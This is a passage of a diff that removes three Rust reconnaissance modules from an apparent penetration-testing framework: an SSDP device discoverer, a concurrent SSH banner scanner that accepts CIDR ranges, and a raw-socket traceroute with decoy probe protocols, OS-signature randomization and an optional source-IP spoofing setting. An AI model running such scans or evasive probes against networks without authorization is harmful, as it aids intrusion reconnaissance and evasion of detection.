"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user to save results
fn prompt_save_results() -> Option<bool> {
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user for search targets
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
let mut targets = Vec::new();
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
println!(" 1. upnp:rootdevice (default)");
println!(" 2. ssdp:all");
println!(" 3. Custom ST");
println!(" 4. All of the above");
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
match input.trim() {
"1" | "" => {
targets.push(SearchTarget::RootDevice);
}
"2" => {
targets.push(SearchTarget::All);
}
"3" => {
print!("{}", "Enter custom ST: ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut st_input = String::new();
std::io::stdin()
.read_line(&mut st_input)
.context("Failed to read input")?;
let st = st_input.trim().to_string();
if !st.is_empty() {
targets.push(SearchTarget::Custom(st));
} else {
targets.push(SearchTarget::RootDevice);
}
}
"4" => {
targets.push(SearchTarget::RootDevice);
targets.push(SearchTarget::All);
}
_ => {
targets.push(SearchTarget::RootDevice);
}
}
if targets.is_empty() {
targets.push(SearchTarget::RootDevice);
}
Ok(targets)
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
("st", r"(?i)ST:\s*(.*?)\r\n"),
("nt", r"(?i)NT:\s*(.*?)\r\n"),
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
let value = caps.get(1)
.map(|m| m.as_str().trim())
.unwrap_or("")
.to_string();
results.insert(key, value);
} else {
results.insert(key, String::new());
}
}
}
// Check HTTP status
let status_line = response.lines().next().unwrap_or("");
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
if status_ok {
let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone();
let server = results.get("server").unwrap_or(&String::new()).clone();
let location = results.get("location").unwrap_or(&String::new()).clone();
let usn = results.get("usn").unwrap_or(&String::new()).clone();
let result_line = format!(
"{}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
target_ip, port, st_value, server, location, usn
);
println!("{}", format!("[+] {}", result_line).green());
// Show additional headers if present
if let Some(cache) = results.get("cache-control") {
if !cache.is_empty() {
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
}
}
Some(result_line)
} else {
println!(
"{}",
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
.yellow()
);
None
}
}
-456
View File
@@ -1,456 +0,0 @@
//! SSH Service Scanner Module
//!
//! Based on SSHPWN framework - scans for SSH services and grabs banners.
//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Read, Write},
net::{SocketAddr, TcpStream, ToSocketAddrs},
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use anyhow::Context;
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const DEFAULT_THREADS: usize = 50;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Service Scanner ║".cyan());
println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Features: ║".cyan());
println!("{}", "║ - CIDR range support ║".cyan());
println!("{}", "║ - IPv4/IPv6 support ║".cyan());
println!("{}", "║ - Banner grabbing ║".cyan());
println!("{}", "║ - Concurrent scanning ║".cyan());
println!("{}", "║ - Results export ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Statistics tracking
struct Statistics {
total_scanned: AtomicU64,
ssh_found: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_scanned: AtomicU64::new(0),
ssh_found: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_scan(&self, found_ssh: bool, error: bool) {
self.total_scanned.fetch_add(1, Ordering::Relaxed);
if found_ssh {
self.ssh_found.fetch_add(1, Ordering::Relaxed);
}
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let scanned = self.total_scanned.load(Ordering::Relaxed);
let found = self.ssh_found.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} scanned | {} SSH | {} errors | {:.1}/s ",
"[Progress]".cyan(),
scanned.to_string().bold(),
found.to_string().green(),
errors.to_string().red(),
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_summary(&self) {
println!();
println!("{}", "=== Scan Summary ===".cyan().bold());
println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed));
println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green());
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// SSH scan result
#[derive(Clone, Debug)]
pub struct SshScanResult {
pub host: String,
pub port: u16,
pub banner: String,
}
/// Grab SSH banner from a host
fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option<String> {
// Build address
let addr_str = if host.contains(':') && !host.starts_with('[') {
format!("[{}]:{}", host, port)
} else {
format!("{}:{}", host, port)
};
// Resolve and connect
let addrs: Vec<SocketAddr> = match addr_str.to_socket_addrs() {
Ok(a) => a.collect(),
Err(_) => return None,
};
if addrs.is_empty() {
return None;
}
let timeout = Duration::from_secs(timeout_secs);
for addr in addrs {
if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) {
let _ = stream.set_read_timeout(Some(timeout));
let _ = stream.set_write_timeout(Some(timeout));
let mut stream = stream;
let mut buffer = [0u8; 256];
match stream.read(&mut buffer) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buffer[..n])
.trim()
.to_string();
if banner.starts_with("SSH-") {
return Some(banner);
}
}
_ => {}
}
}
}
None
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load targets from file
fn load_targets_from_file(path: &str, port: u16) -> Result<Vec<(String, u16)>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let mut targets = Vec::new();
for line in reader.lines() {
let line = line?;
let line = line.trim();
if line.is_empty() || line.starts_with('#') {
continue;
}
// Check for port override (host:port)
if let Some((host, port_str)) = line.rsplit_once(':') {
if let Ok(p) = port_str.parse::<u16>() {
targets.push((host.to_string(), p));
continue;
}
}
targets.push((line.to_string(), port));
}
Ok(targets)
}
/// Main scan function
pub async fn scan_ssh(
targets: Vec<(String, u16)>,
threads: usize,
timeout_secs: u64,
) -> Vec<SshScanResult> {
let total = targets.len();
println!("{}", format!("[*] Scanning {} targets...", total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Scan tasks
let mut handles = Vec::new();
for (host, port) in targets {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
let host_clone = host.clone();
let result = spawn_blocking(move || {
grab_ssh_banner(&host_clone, port, timeout_secs)
}).await;
match result {
Ok(Some(banner)) => {
stats.record_scan(true, false);
let result = SshScanResult {
host: host.clone(),
port,
banner: banner.clone(),
};
println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green());
let _ = std::io::Write::flush(&mut std::io::stdout());
results.lock().await.push(result);
}
Ok(None) => {
stats.record_scan(false, false);
}
Err(_) => {
stats.record_scan(false, true);
}
}
Ok(())
});
handles.push(handle);
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Scan Results")?;
writeln!(file, "# Generated by RustSploit SSH Scanner")?;
writeln!(file, "# Total: {} SSH services found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let mut targets = Vec::new();
// Parse initial target
if !target.trim().is_empty() {
println!("{}", format!("[*] Initial target: {}", target).cyan());
}
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
// Add initial target
if !target.trim().is_empty() {
targets.extend(parse_targets(target, port));
}
// Add additional targets
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false)? {
let file_path = prompt("File path")?;
if !file_path.is_empty() {
match load_targets_from_file(&file_path, port) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
targets.extend(file_targets);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run scan
let results = scan_ssh(targets, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_scan_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green());
Ok(())
}
@@ -1,462 +0,0 @@
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use std::io::Write;
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
use pnet_packet::udp::{self, MutableUdpPacket};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use pnet_packet::icmp::IcmpPacket;
use std::sync::Arc;
use rand::Rng;
use rand::distr::Alphanumeric;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use tokio::time::{Instant, Duration};
use tokio::task;
use socket2::{Domain, Protocol, Socket, Type};
use colored::*;
use anyhow::{Result, Context, anyhow, bail};
use std::mem::MaybeUninit;
const IPV4_FLAG_DF: u16 = 2;
const USE_RANDOM_OS_SIG: bool = true;
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
const MAX_TTL: u8 = 30;
const PROBE_COUNT: usize = 3;
const DECOY_PROB: f64 = 0.35;
#[derive(Debug, Clone)]
struct OsSignatureParams {
id: u16,
tos: u8,
df_flag: bool,
}
fn generate_os_signature() -> OsSignatureParams {
let mut rng = rand::rng();
if !USE_RANDOM_OS_SIG {
return OsSignatureParams {
id: rng.random(),
tos: 0,
df_flag: false,
};
}
let sigs = [
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
];
sigs[rng.random_range(0..sigs.len())].clone()
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ProbeProtocolType {
Icmp,
Udp,
Tcp,
}
impl ProbeProtocolType {
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
match self {
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
}
}
fn to_string_lc(&self) -> String {
match self {
ProbeProtocolType::Icmp => "icmp".to_string(),
ProbeProtocolType::Udp => "udp".to_string(),
ProbeProtocolType::Tcp => "tcp".to_string(),
}
}
}
#[derive(Debug)]
struct ReceivedIcmpInfo {
icmp_type: u8,
description: String,
}
#[derive(Debug)]
struct ProbeSingleResponse {
source_ip: Ipv4Addr,
rtt_ms: f32,
icmp_info: ReceivedIcmpInfo,
probe_protocol_used: String,
}
fn craft_probe_packet(
dst_ip: Ipv4Addr,
current_ttl: u8,
src_ip_override: Option<Ipv4Addr>,
icmp_id_val: u16,
icmp_seq_val: u16,
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
const IPV4_HEADER_LEN: usize = 20;
let mut rng = rand::rng();
let sig = generate_os_signature();
let mut protocol_type = ProbeProtocolType::Icmp;
if rng.random_bool(DECOY_PROB) {
protocol_type = if rng.random_bool(0.5) {
ProbeProtocolType::Udp
} else {
ProbeProtocolType::Tcp
};
}
let payload_size = rng.random_range(24..=56);
let payload: Vec<u8> = rng.clone()
.sample_iter(&Alphanumeric)
.take(payload_size)
.map(|c| c as u8)
.collect();
let (transport_header_len, transport_packet_data) = match protocol_type {
ProbeProtocolType::Icmp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create EchoRequest"))?;
pkt.set_icmp_type(IcmpTypes::EchoRequest);
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
pkt.set_identifier(icmp_id_val);
pkt.set_sequence_number(icmp_seq_val);
pkt.set_payload(&payload);
let view = IcmpPacket::new(pkt.packet()).ok_or_else(|| anyhow!("Failed to create ICMP view"))?;
pkt.set_checksum(icmp::checksum(&view));
(buf.len(), buf)
}
ProbeProtocolType::Udp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = MutableUdpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create UDP packet"))?;
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_length((8 + payload.len()) as u16);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
ProbeProtocolType::Tcp => {
let mut buf = vec![0u8; 20 + payload.len()];
let mut pkt = MutableTcpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_sequence(rng.random());
pkt.set_acknowledgement(0);
pkt.set_data_offset(5);
pkt.set_flags(TcpFlags::SYN);
pkt.set_window(rng.random_range(1024..=65535));
pkt.set_urgent_ptr(0);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
};
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let src_ip = src_ip_override
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().ok().flatten())
.unwrap_or(Ipv4Addr::new(0,0,0,0));
{
let mut ip = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IPv4 packet"))?;
ip.set_version(4);
ip.set_header_length(5);
ip.set_total_length(total_len);
ip.set_identification(sig.id);
ip.set_ttl(current_ttl);
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
ip.set_source(src_ip);
ip.set_destination(dst_ip);
ip.set_dscp(sig.tos >> 2);
ip.set_ecn(sig.tos & 0x03);
let mut flags = 0;
if sig.df_flag {
flags |= IPV4_FLAG_DF;
}
ip.set_flags(flags.try_into().unwrap_or(0));
ip.set_payload(&transport_packet_data);
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
}
Ok((ip_buf, protocol_type, sig))
}
async fn send_and_receive_one(
target_final_dst_ip: Ipv4Addr,
probe_packet_bytes: &[u8],
probe_protocol: ProbeProtocolType,
probe_ip_id: u16,
probe_icmp_echo_id: u16,
probe_icmp_echo_seq: u16,
timeout: Duration,
) -> Result<Option<ProbeSingleResponse>> {
let sender_socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create sender raw socket")?;
sender_socket
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL on sender socket")?;
let receiver_socket = Arc::new(
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
.context("Failed to create receiver raw socket for ICMP")?,
);
receiver_socket
.set_read_timeout(Some(Duration::from_millis(200)))
.context("Failed to set read timeout on receiver socket")?;
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
sender_socket
.send_to(probe_packet_bytes, &dst_addr.into())
.context("Failed to send raw IP packet")?;
let start = Instant::now();
loop {
if start.elapsed() >= timeout {
return Ok(None);
}
let sock_clone = receiver_socket.try_clone().context("Socket clone failed")?;
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
// Safe conversion: we know len is valid and within buf bounds
if len > buf.len() {
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
}
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
if let Some((data, sa)) = recv? {
let rtt = start.elapsed().as_secs_f32() * 1000.0;
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
let icmp_type = icmp_pkt.get_icmp_type();
let _ = icmp_pkt.get_icmp_code();
let mut matched = false;
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
let proto = inner.get_next_level_protocol();
match probe_protocol {
ProbeProtocolType::Icmp => {
if proto == IpNextHeaderProtocols::Icmp {
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
&& echo_req.get_identifier() == probe_icmp_echo_id
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
{
matched = true;
}
}
}
}
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
if proto == probe_protocol.to_ip_next_header_protocol() {
matched = true;
}
}
}
}
}
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
if reply.get_identifier() == probe_icmp_echo_id
&& reply.get_sequence_number() == probe_icmp_echo_seq
&& responder == target_final_dst_ip
{
matched = true;
}
}
}
if matched {
let desc = match icmp_type {
IcmpTypes::EchoReply => "echo-reply".to_string(),
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
_ => format!("type {}", icmp_type.0),
};
return Ok(Some(ProbeSingleResponse {
source_ip: responder,
rtt_ms: rtt,
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
probe_protocol_used: probe_protocol.to_string_lc(),
}));
}
}
}
}
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
async fn execute_traceroute(target_name: &str) -> Result<()> {
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
.await
.with_context(|| format!("Could not resolve target: {}", target_name))?;
let mut target_ipv4: Option<Ipv4Addr> = None;
for sock_addr in resolved_ips {
if let IpAddr::V4(ipv4) = sock_addr.ip() {
target_ipv4 = Some(ipv4);
break;
}
}
let dst_ip = match target_ipv4 {
Some(ip) => ip,
None => bail!("Could not resolve {} to an IPv4 address", target_name),
};
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.and_then(|s| s.parse().ok());
for ttl_val in 1..=MAX_TTL {
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
let mut ttl_responded = false;
for _probe_idx in 0..PROBE_COUNT {
// Scope RNG to avoid holding it across await
let (icmp_probe_id, packet_bytes, protocol_used, os_sig_params) = {
let mut rng = rand::rng();
let icmp_probe_id = rng.random_range(33434..=65535);
let icmp_probe_seq = ttl_val as u16;
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
dst_ip,
ttl_val,
src_ip_override_opt,
icmp_probe_id,
icmp_probe_seq,
)?;
(icmp_probe_id, packet_bytes, protocol_used, os_sig_params)
};
let _t0 = Instant::now();
let response = send_and_receive_one(
dst_ip,
&packet_bytes,
protocol_used,
os_sig_params.id,
icmp_probe_id,
ttl_val as u16,
Duration::from_secs(2),
).await?;
if let Some(res) = response {
ttl_responded = true;
let rtt_str = format!("{:.1}ms", res.rtt_ms);
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
print!("{} ", res.icmp_info.description);
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
if res.source_ip == dst_ip {
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
return Ok(());
}
}
}
let jitter_duration = {
let mut rng = rand::rng(); // New RNG for jitter
rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1)
};
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
}
if !ttl_responded {
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
}
}
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
let mut user_input = String::new();
print!("Are you running this as sudo? (yes/no): ");
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
std::io::stdin()
.read_line(&mut user_input)
.context("Failed to read input")?;
if user_input.trim().to_lowercase() == "yes" {
// Safe wrapper for geteuid - it's a simple system call that cannot fail
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
std::process::exit(1);
}
} else if user_input.trim().to_lowercase() == "no" {
println!("Please run this script as sudo.");
std::process::exit(1);
} else {
println!("Invalid input. Exiting.");
std::process::exit(1);
}
println!("by suicidalteddy");
println!("github.com/s-b-repo");
println!("medium.com/@suicdalteddy/about");
if target.is_empty() {
bail!("No target provided.");
}
execute_traceroute(target).await.map_err(|e| {
eprintln!("{}", format!("[-] Error: {}", e).red());
e
})
}